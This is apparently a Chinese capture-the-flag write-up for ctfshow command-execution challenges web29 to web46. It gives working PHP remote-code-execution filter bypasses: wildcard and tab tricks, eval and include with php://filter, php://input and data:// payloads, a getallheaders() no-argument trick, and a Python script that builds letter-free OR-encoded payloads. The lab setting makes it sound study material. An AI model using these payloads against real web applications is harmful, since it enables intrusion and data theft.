ctfshow-命令执行

大佬文章

L i n u x \rm Linux Linux 下空格绕过

无参数 r c e \rm rce rce

无字符 r c e \rm rce rce

web29

  • 通配符:

    *:匹配任意多个字符

    ?:匹配任意一个字符

    []:匹配某个范围的字符( [ a d ] [ad] [ad] 表示 a − d a-d ad 的字符)

    {a,b}:匹配 a a a 或者 b b b

web30

  • echo `cat flag`:表示先运行 cat flag,然后再把结果输出

web31

  1. %09(tab) 绕过空格

  2. 命令拼接:c=eval($_POST[a]);,然后 POST 传入一个变量 a 即可

  3. 无参数 r c e \rm rce rce

web32

  • 过滤分号,用 ?> 代替

  • 过滤括号,使用 include 函数,其不需要括号传参(例如 include a.php)

因此 ?c=include%09$_POST[a]?> ,之后 post 传入一个文件即可

文件会被注释掉(显示不出来),所以考虑伪协议读文件

a=php://filter/read=convert.base64-encode/resource=flag.php

web37

  • 使用 php://input 协议,之后 post 传入需要的 php 代码即可

web38

  • data 伪协议读文件

    c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== ( b a s e 64 \rm base64 base64system("cat flag");)

web39

  • 同web38

web40

  • 无参数命令执行

    getallheaders()http 头中的信息放到一个数组里面

    修改http 头中的某些不重要的内容为 system("cat flag"),使用语句 eval(array_rand(array_flip(getallheaders())));,多刷新几次即可做到无参数命令执行

web41

  • 无数字字母 r c e \rm rce rce

    一般实现方法是自增,取反,异或,或

    这题用的是或运算

    # coding=gbk
    import re
    import requests
    use = []
    def get_and(aim, use):
        ans1 = ""
        ans2 = ""
        for i in range(len(aim)):
            ok = False
            for j in range(len(use)):
                for k in range(j,len(use)):
                    if (ord(use[j]) | ord(use[k])) == ord(aim[i]):
                        ans1 = ans1 + use[j]
                        ans2 = ans2 + use[k]
                        ok = True
                    if ok: break
                if ok: break            
        ans = ""
        for i in range(len(ans1)): ans += chr(ord(ans1[i]) | ord(ans2[i]))    
        print(ans)
        return "(\""+ans1+"\"|\""+ans2+"\")"
    
    if __name__ == '__main__':
        match_str = "/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"
        url = "http://e5280b73-c2cb-4f3f-9309-68319256efdf.challenge.ctf.show/"
        for i in range(256):
            c = chr(i)
            tmp = re.match(match_str, c, re.I)
            if tmp == None:
                use.append(c)
        func = "system"
        argu = "cat flag.php"
        data = {"c":get_and(func,use)+get_and(argu,use)}
        print(data)
        r = requests.post(url = url, data = data)
        print(r.text)
    

web42

system($c." >/dev/null 2>&1"); 黑洞代码

  1. cat flag && ls:只会让后面的查询没有

  2. ls ##shell 脚本的注释

web46

  • flag 被过滤,可以换成 f''lag

未完待续

你可能感兴趣的:(web安全)